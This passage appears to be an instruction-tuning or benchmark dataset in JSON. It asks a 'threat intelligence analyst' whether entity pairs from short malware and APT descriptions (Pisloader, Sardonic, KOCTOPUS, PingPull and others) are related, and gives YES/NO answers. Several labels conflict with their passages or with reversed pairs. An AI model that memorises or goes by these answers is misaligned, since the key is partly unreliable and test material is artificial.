Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPisloader\n### Target Entity: C2\n### Text Passage:\nPisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT18\n### Target Entity: Pisloader\n### Text Passage:\nPisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT18\n### Target Entity: HTTPBrowser\n### Text Passage:\nPisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSardonic\n### Target Entity: C\n### Text Passage:\nSardonic is a backdoor written in C and C++ that is known to be used by FIN8, as early as August 2021 to target a financial institution in the United States. Sardonic has a plugin system that can load specially made DLLs and execute their functions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSardonic\n### Target Entity: C++\n### Text Passage:\nSardonic is a backdoor written in C and C++ that is known to be used by FIN8, as early as August 2021 to target a financial institution in the United States. Sardonic has a plugin system that can load specially made DLLs and execute their functions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFIN8\n### Target Entity: Sardonic\n### Text Passage:\nSardonic is a backdoor written in C and C++ that is known to be used by FIN8, as early as August 2021 to target a financial institution in the United States. Sardonic has a plugin system that can load specially made DLLs and execute their functions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSardonic\n### Target Entity: United States\n### Text Passage:\nSardonic is a backdoor written in C and C++ that is known to be used by FIN8, as early as August 2021 to target a financial institution in the United States. Sardonic has a plugin system that can load specially made DLLs and execute their functions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWinnti\n### Target Entity: Windows\n### Text Passage:\nA Winnti for Windows implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nASPNET_FILTER.DLL\n### Target Entity: ASP.NET\n### Text Passage:\nA Winnti for Windows implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWinnti\n### Target Entity: ASP.NET\n### Text Passage:\nA Winnti for Windows implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTropic Trooper\n### Target Entity: YAHOYAH\n### Text Passage:\nYAHOYAH is a Trojan used by Tropic Trooper as a second-stage backdoor.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid SafetyNet\n### Target Entity: Android\n### Text Passage:\nEnable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNetWireRAT\n### Target Entity: Iranian\n### Text Passage:\nIt claims to be available in all OS formats including MacOS, Android and Windows. NetWireRAT is believed to have been used by the Iranian Nation state sponsored group APT33/Elfin back in 2016. Once executed on the victim\u2019s machine, several anti-analysis techniques are used to protect it from analysis.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT33/Elfin\n### Target Entity: Iranian\n### Text Passage:\nIt claims to be available in all OS formats including MacOS, Android and Windows. NetWireRAT is believed to have been used by the Iranian Nation state sponsored group APT33/Elfin back in 2016. Once executed on the victim\u2019s machine, several anti-analysis techniques are used to protect it from analysis.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: MacOS\n### Text Passage:\nIt claims to be available in all OS formats including MacOS, Android and Windows. NetWireRAT is believed to have been used by the Iranian Nation state sponsored group APT33/Elfin back in 2016. Once executed on the victim\u2019s machine, several anti-analysis techniques are used to protect it from analysis.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKOCTOPUS\n### Target Entity: VBA\n### Text Passage:\nKOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazyScripter\n### Target Entity: KOCTOPUS\n### Text Passage:\nKOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazyScripter\n### Target Entity: Octopus\n### Text Passage:\nKOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazyScripter\n### Target Entity: Koadic\n### Text Passage:\nKOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazyScripter\n### Target Entity: QuasarRAT\n### Text Passage:\nKOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVBA\n### Target Entity: KOCTOPUS\n### Text Passage:\nKOCTOPUS's batch variant is loader used by LazyScripter since 2018 to launch Octopus and Koadic and, in some cases, QuasarRAT. KOCTOPUS also has a VBA variant that has the same functionality as the batch version.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nZergHelper\n### Target Entity: iOS\n### Text Passage:\nZergHelper is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nApple\n### Target Entity: iOS\n### Text Passage:\nZergHelper is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSilverTerrier\n### Target Entity: C2\n### Text Passage:\nSilverTerrier uses SMTP for C2 communications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLIGHTWIRE\n### Target Entity: Perl\n### Text Passage:\nLIGHTWIRE is a web shell written in Perl that was used during Cutting Edge to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Edge\n### Target Entity: LIGHTWIRE\n### Text Passage:\nLIGHTWIRE is a web shell written in Perl that was used during Cutting Edge to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLIGHTWIRE\n### Target Entity: Ivanti Secure Connect VPNs\n### Text Passage:\nLIGHTWIRE is a web shell written in Perl that was used during Cutting Edge to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIvanti Secure Connect VPNs\n### Target Entity: compcheckresult.cgi\n### Text Passage:\nLIGHTWIRE is a web shell written in Perl that was used during Cutting Edge to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nadbupd\n### Target Entity: C2\n### Text Passage:\nadbupd contains a copy of the OpenSSL library to encrypt C2 traffic.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nadbupd\n### Target Entity: OpenSSL\n### Text Passage:\nadbupd contains a copy of the OpenSSL library to encrypt C2 traffic.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0033\n### Target Entity: PROMETHIUM\n### Text Passage:\nC0033 was a PROMETHIUM campaign during which they used StrongPity to target Android users. C0033 was the first publicly documented mobile campaign for PROMETHIUM, who previously used Windows-based techniques.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0033\n### Target Entity: StrongPity\n### Text Passage:\nC0033 was a PROMETHIUM campaign during which they used StrongPity to target Android users. C0033 was the first publicly documented mobile campaign for PROMETHIUM, who previously used Windows-based techniques.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStrongPity\n### Target Entity: Android\n### Text Passage:\nC0033 was a PROMETHIUM campaign during which they used StrongPity to target Android users. C0033 was the first publicly documented mobile campaign for PROMETHIUM, who previously used Windows-based techniques.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPROMETHIUM\n### Target Entity: Windows\n### Text Passage:\nC0033 was a PROMETHIUM campaign during which they used StrongPity to target Android users. C0033 was the first publicly documented mobile campaign for PROMETHIUM, who previously used Windows-based techniques.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPROMETHIUM\n### Target Entity: Android\n### Text Passage:\nC0033 was a PROMETHIUM campaign during which they used StrongPity to target Android users. C0033 was the first publicly documented mobile campaign for PROMETHIUM, who previously used Windows-based techniques.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDark Caracal\n### Target Entity: Pallas\n### Text Passage:\nPallas is mobile surveillanceware that was custom-developed by Dark Caracal.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKOPILUWAK\n### Target Entity: C2\n### Text Passage:\nKOPILUWAK is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKOPILUWAK\n### Target Entity: JavaScript\n### Text Passage:\nKOPILUWAK is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC2\n### Target Entity: JavaScript\n### Text Passage:\nKOPILUWAK is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDEATHRANSOM\n### Target Entity: C\n### Text Passage:\nDEATHRANSOM is ransomware written in C that has been used since at least 2020, and has potential overlap with FIVEHANDS and HELLOKITTY.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDEATHRANSOM\n### Target Entity: HELLOKITTY\n### Text Passage:\nDEATHRANSOM is ransomware written in C that has been used since at least 2020, and has potential overlap with FIVEHANDS and HELLOKITTY.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGoldenEagle\n### Target Entity: Android\n### Text Passage:\nGoldenEagle is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGoldenEagle\n### Target Entity: Turkey\n### Text Passage:\nGoldenEagle is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGoldenEagle\n### Target Entity: China\n### Text Passage:\nGoldenEagle is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChina\n### Target Entity: GoldenEagle\n### Text Passage:\nGoldenEagle is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExodus\n### Target Entity: Android\n### Text Passage:\nExodus is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExodus Two\n### Target Entity: Exodus\n### Text Passage:\nExodus is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGamaredon Group\n### Target Entity: QuietSieve\n### Text Passage:\nQuietSieve is an information stealer that has been used by Gamaredon Group since at least 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Visual C++\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGALLIUM\n### Target Entity: PingPull\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Afghanistan\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Australia\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Belgium\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Cambodia\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Malaysia\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Mozambique\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Philippines\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Russia\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, 